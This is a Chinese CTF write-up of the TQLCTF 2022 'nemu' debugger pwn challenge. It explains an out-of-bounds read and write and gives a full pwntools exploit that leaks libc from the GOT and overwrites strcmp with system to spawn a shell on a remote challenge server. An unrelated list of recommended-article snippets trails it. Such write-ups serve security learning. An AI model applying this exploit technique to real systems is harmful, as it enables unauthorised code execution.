nemu是一个南京大学的调试器项目,想了解更多可以去github上看看:
https://github.com/NJU-ProjectN/nemu

我们首先把程序运行起来看看:
通过help可以看到程序实际上是实现了一个简单的debugger功能,里面内置了一段简短的汇编代码,那么接下来我们将目光放到help中出现的这几个函数上即可

这里直接给出结论,x指令在读的时候没有检查地址,从而导致了越界读,set存在一个越界写,而本题got表可改,且没开PIE

先来分析一下程序运行过程:

首先是读入命令,根据读入内容跳到对应的函数,有一个cmd_table相当于命令表,然后我们看一下最基础的si和c命令,分别是单步执行和连续执行:


si命令后面可以跟数字表示执行几步,不写的话默认是1步,cpu_exec这个程序显然就是执行函数:

它会判断程序此时的状态,如果已经结束则打印报错信息,没结束则执行并检查是否是断点


可以看到v1是一个自定义的结构体,并且通过next形成了一个链表结构,每一个节点都代表一个断点,其头部存在bss段上

分析到这里,正常执行程序的过程差不多说完了,然后我们看看一些对地址敏感的命令,比如x命令和set命令,这两个函数也是本题的漏洞所在

先来看x命令:

如果x命令后面跟着参数,且是0x开头的话,则直接调用vaddr_read将其值打印出来,我们跟进vaddr_read看看:

而这个pmem的地址在6A3B80,所以我们打印的其实是addr+0x6a3b80这个地址里存的值

再来看set命令,这里直接看vddr_write了:

也是将值写到了addr+0x6a3b80的位置

首先我们下一个断点,让head不为空,然后修改head为got表上方的一个地址,之后利用info函数可以在打印old_value的时候将got表里的值打印出来,从而泄露libc

泄露libc之后,再次修改head为strcmp的got表地址,然后利用w指令将system写进去,最后输入一个/bin/sh就可以getshell了

exp:

from re import L
from pwn import *
from ctypes import *
from string import *
from hashlib import *
from itertools import product
context.log_level = 'debug'
context.arch='amd64'
#io = process('./pwn',aslr=True)
io = remote('101.43.61.60',9130)
libc = ELF('./libc-2.23.so')
elf=ELF("./pwn")
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x            : io.recvn(x)
sn = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
# lg = lambda s,addr        : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data        : u32(data.ljust(4, b'\x00'))
uu64 = lambda data        : u64(data.ljust(8, b'\x00'))
def setmem(offset, value):ru("(nemu) ")sl("set {offset} {value}".format(offset=hex(offset-0x6a3b80), value=hex(value)))
def setw(addr):ru("(nemu) ")sl("w {addr}".format(addr=hex(addr)))
head=0x86a3fc8
cmp_got=elf.got['strcmp']
sla("(nemu) ",'w $eax')
setmem(head,0x60efd8)
sla("(nemu) ",'info w')
io.recvuntil("0x")
libcbase = int(io.recv(8),16)
io.recvuntil("0x")
libcbase = (int(io.recv(4), 16) << 32) + libcbase-0x837168
lg("libcbase")
system=libcbase+libc.sym['system']
setmem(head,cmp_got-0x30)
setw(system&0xffffffff)
sla("(nemu) ",'/bin/sh')
#gdb.attach(io)
irt()

2022 TQLCTF nemu相关推荐

  1. [TQLCTF 2022]simple_bypass

    前言 脑洞好大好大的题目,又被秀到了.不得不佩服. 标签 WEB PHP LFI RCE 无字母RCE 解题 进入页面要求注册: 注册后进入页面: 每个功能点都试一遍: 最特殊的是那个好康的,我们看一 ...

  2. 2022年新能源汽车产业集群百人会

    2022年新能源汽车产业集群百人会   3月25日-3月27日,2022年第八届中国电动汽车百人会(以下简称百人会)在线上举办.本届论坛以"迎接新能源汽车市场化发展新阶段"为主题. ...

  3. 2022年AI芯片场景

    2022年AI芯片场景 随着技术成熟化,AI芯片的应用场景除了在云端及大数据中心,也会随着算力逐渐向边缘端移动,部署于智能家居.智能制造.智慧金融等领 域:同时还将随着智能产品种类日渐丰富,部署于智能 ...

  4. 回顾2021,展望2022

    2021,这一年最大的收获是孕育了一个聪明漂亮机灵的小家伙.这一年我虚岁28岁,和爱的人有了爱的结晶.东哥各方面都挺好的,我们都不是圣人,都是能力有限的普通人,但他在尽其所能的对我好.我不是万能的人, ...

  5. Maya 2022中的硬表面建模技术学习视频教程

    Maya 2022中的硬表面建模 信息: 使用正确的拓扑和边流在Maya中建模硬曲面对象. 你会学到什么 硬质表面工具和技术 细分工作流程 边缘流动控制 正确拓扑 材料设置 Studio Lightn ...

  6. MAYA 2022基础入门学习教程

    流派:电子学习| MP4 |视频:h264,1280×720 |音频:AAC,48.0 KHz 语言:英语+中英文字幕(根据原英文字幕机译更准确)|大小解压后:3.41 GB |时长:4.5小时 包含 ...

  7. PBR游戏3D模型合集包 PBR Game 3D-Models Bundle February 2022

    PBR游戏3D模型捆绑包2022年2月 大小解压后:6.99G MAX| OBJ | FBX |TEX  模型获取:PBR游戏3D模型合集包 PBR Game 3D-Models Bundle Feb ...

  8. 2022,人工智能开启未来新密码

    作者 | 剑客阿良_ALiang(胡逸) 出品 | AI科技大本营(ID:rgznai100) 购买大型电器.汽车,你是否会询问有没有智能语音功能?是的,潜移默化中人们已经不再将人工智能当作魔术,而是 ...

  9. 《2022产业互联网安全十大趋势》发布,专家学者透析产业安全新变化

    2月28日,在中国产业互联网发展联盟指导下,人民邮电报.中国信息安全.腾讯安全联合实验室.腾讯研究院联合推出<2022产业互联网安全十大趋势>.该报告由<中国信息安全>杂志出品 ...

最新文章

  1. ACL 2020 | MobileBERT:一种与任务无关的模型压缩方法
  2. C#实现窗口最小化到系统托盘
  3. oracle json入参调用ws服务返回请求失败_Spring 5.2.2技术集成 —Spring HTTP调用程序和JAXWS...
  4. [react] React.createClass和extends Component的区别有哪些?
  5. 【转】VSTS中版本控制系统Git与TFVC的区别
  6. [JZOJ100047] 【NOIP2017提高A组模拟7.14】基因变异
  7. 对有序特征进行离散化(继承Spark的机器学习Estimator类)
  8. 用mysql计算年龄lt;gt;,什么是运算符lt; =gt;在MySQL中?
  9. 快逸报表为报表添加无数据的日期(二)
  10. Luogu3444:[POI2006]ORK-Ploughing
  11. matlab插值法计算根号,怎么用matlab利用拉格朗日插值计算法的原理编写并计算函数所在节点的近似值....
  12. 西门子阀门定位器6DR5011-0NG11-0AA0
  13. PHP集成环境MxSrvs如何安装pcntl扩展
  14. HTTP Live Streaming直播
  15. 【Multisim仿真】利用运算放大器产生方波、三角波发生器
  16. 大数据将走向何方?未来大数据的十大趋势评析
  17. Windows怎么查看开关机记录事件?
  18. drop、truncate和delete的区别
  19. 强化学习——Proximal Policy Optimization Algorithms
  20. Python 字典:当索引不好用时

热门文章

  1. 传统出租车管制机制基础早已不再,是时候打破垄断了!
  2. 电磁波的无线电频率、抗干扰性与穿透能力关系
  3. firebird java_Firebird与java的连接
  4. 数据库中的四大join 笛卡尔乘积(以MySQL为例)
  5. “中国网事·感动2022”二季度网络感动人物评选结果揭晓
  6. Kotlin知识归纳(四) —— 接口和类
  7. VLAN虚拟局域网配置实验
  8. matlab轴向柱塞泵动力学仿真,基于虚拟样机的轴向柱塞泵柱塞副性能研究
  9. 8 月的最后一天,我们摊牌了……
  10. everthing 下载